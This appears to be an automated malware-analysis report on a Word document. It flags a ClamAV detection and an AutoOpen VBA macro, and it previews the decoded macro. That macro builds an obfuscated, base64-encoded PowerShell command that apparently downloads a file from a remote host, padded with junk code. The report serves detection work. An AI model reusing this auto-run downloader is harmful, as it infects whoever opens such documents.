MALICIOUS
142
Risk Score
Heuristics 5
-
ClamAV: Doc.Malware.Pwshell-6700199-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Pwshell-6700199-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 86167 bytes |
SHA-256: ad9425d21e462adf5af0a5694283448bf67776b11e959384a6c99e32967591bf |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const QJeLjJenUjaTUcRAcAbaGOZUhoMuBEwygKo = 0
Sub AutoOpen()
On Error Resume Next
YEpyQesuwiryrIpeGMIBaPIfyCaKYZOLoF = "d.exe /c p^O^w^e^R^s^H^e^" + Format(Chr(((7 * 10) + 6))) + "^" + Format(Chr(((7 * 10) + 6))) + "^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^" + Format(Chr(((7 * 10) + 6))) + "^w^B^o^A^D^I^A^O^A^A^x^A^D^I^A^O^Q^A^z^A^D^I^A^O^Q^A^z^A^D^c^A^M^g^A^5^A^D^I^A^c^w^B^q^A^H^M^A^a^A^B^z^A^G^s^A^e^g^A^u^A^G^M^A^b^w^B^t^A^C^8^A^T^Q^B^Y^A^E^U^A^" + Format(Chr(((7 * 10) + 6))) + "^w^B^s^A^G^8^A^Z^A^B^w^A^G^8^A^c^w^A^u^A^H^A^A^a^A^B^w^A"
Dim YvUebABEsOBaNuLUGOayKecavovaDaiidIqI(5)
If LenB("vIliGiDAgiqaxyryLrYQo") < 63439 Then
YvUebABEsOBaNuLUGOayKecavovaDaiidIqI(0) = VarType(Sqr(6343) + CInt("6343"))
End If
YvUebABEsOBaNuLUGOayKecavovaDaiidIqI(1) = LTrim("vIliGiDAgiqaxyryLrYQo") & "99"
YvUebABEsOBaNuLUGOayKecavovaDaiidIqI(2) = Day(63436343)
If Len("YvUebABEsOBaNuLUGOayKecavovaDaiidIqI") < Len("vIliGiDAgiqaxyryLrYQo") Then
YvUebABEsOBaNuLUGOayKecavovaDaiidIqI(3) = Weekday(63439)
End If
Dim HUJetoqoaosUzIWaGohIhxibexeLUSEGawEK(5)
Dim rOferaWJuROQAtIJIlIXyRonywEB(5)
If LenB("xUraRiVikeXYhyhY") < 24154 Then
rOferaWJuROQAtIJIlIXyRonywEB(0) = VarType(Sqr(2415) + CInt("2415"))
End If
rOferaWJuROQAtIJIlIXyRonywEB(1) = LTrim("xUraRiVikeXYhyhY") & "44"
rOferaWJuROQAtIJIlIXyRonywEB(2) = Day(24152415)
If Len("rOferaWJuROQAtIJIlIXyRonywEB") < Len("xUraRiVikeXYhyhY") Then
rOferaWJuROQAtIJIlIXyRonywEB(3) = Weekday(24154)
End If
If LenB("CYmAWYgUHUnEJemI") < 81841 Then
Dim JYbocexEqOFeWYSaXyGOWsUWUCixYjixEaE(5)
If LenB("NoBurTazEDEPimUbEJyCuHE") < 15746 Then
JYbocexEqOFeWYSaXyGOWsUWUCixYjixEaE(0) = VarType(Sqr(1574) + CInt("1574"))
End If
JYbocexEqOFeWYSaXyGOWsUWUCixYjixEaE(1) = LTrim("NoBurTazEDEPimUbEJyCuHE") & "66"
JYbocexEqOFeWYSaXyGOWsUWUCixYjixEaE(2) = Day(15741574)
If Len("JYbocexEqOFeWYSaXyGOWsUWUCixYjixEaE") < Len("NoBurTazEDEPimUbEJyCuHE") Then
JYbocexEqOFeWYSaXyGOWsUWUCixYjixEaE(3) = Weekday(15746)
End If
HUJetoqoaosUzIWaGohIhxibexeLUSEGawEK(0) = VarType(Sqr(8184) + CInt("8184"))
End If
Dim pivetosaqUCLIDiXaSYYxABEaa(5)
If LenB("NEtOZTubecM") < 77592 Then
pivetosaqUCLIDiXaSYYxABEaa(0) = VarType(Sqr(7759) + CInt("7759"))
End If
pivetosaqUCLIDiXaSYYxABEaa(1) = LTrim("NEtOZTubecM") & "22"
pivetosaqUCLIDiXaSYYxABEaa(2) = Day(77597759)
If Len("pivetosaqUCLIDiXaSYYxABEaa") < Len("NEtOZTubecM") Then
pivetosaqUCLIDiXaSYYxABEaa(3) = Weekday(77592)
End If
Dim gAZOsneZARyfOHIpEHIXYSNIPuDAVabaXyNeXu(5)
If LenB("mokagawIis") < 78902 Then
gAZOsneZARyfOHIpEHIXYSNIPuDAVabaXyNeXu(0) = VarType(Sqr(7890) + CInt("7890"))
End If
gAZOsneZARyfOHIpEHIXYSNIPuDAVabaXyNeXu(1) = LTrim("mokagawIis") & "22"
gAZOsneZARyfOHIpEHIXYSNIPuDAVabaXyNeXu(2) = Day(78907890)
If Len("gAZOsneZARyfOHIpEHIXYSNIPuDAVabaXyNeXu") < Len("mokagawIis") Then
gAZOsneZARyfOHIpEHIXYSNIPuDAVabaXyNeXu(3) = Weekday(78902)
End If
HUJetoqoaosUzIWaGohIhxibexeLUSEGawEK(1) = LTrim("CYmAWYgUHUnEJemI") & "11"
HUJetoqoaosUzIWaGohIhxibexeLUSEGawEK(2) = Day(81848184)
Dim KuXsEPAZEndoPaUmoBISUzYJyGagYV(5)
If LenB("FAKYGONuSoNew") < 22559 Then
KuXsEPAZEndoPaUmoBISUzYJyGagYV(0) = VarType(Sqr(2255) + CInt("2255"))
End If
KuXsEPAZEndoPaUmoBISUzYJyGagYV(1) = LTrim("FAKYGONuSoNew") & "99"
KuXsEPAZEndoPaUmoBISUzYJyGagYV(2) = Day(22552255)
If Len("KuXsEPAZEndoPaUmoBISUzYJyGagYV") < Len("FAKYGONuSoNew") Then
KuXsEPAZEndoPaUmoBISUzYJyGagYV(3) = Weekday(22559)
End If
Dim boKACaxAfOfOnEnAaINuqaWyVEjyROkQYTaS
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.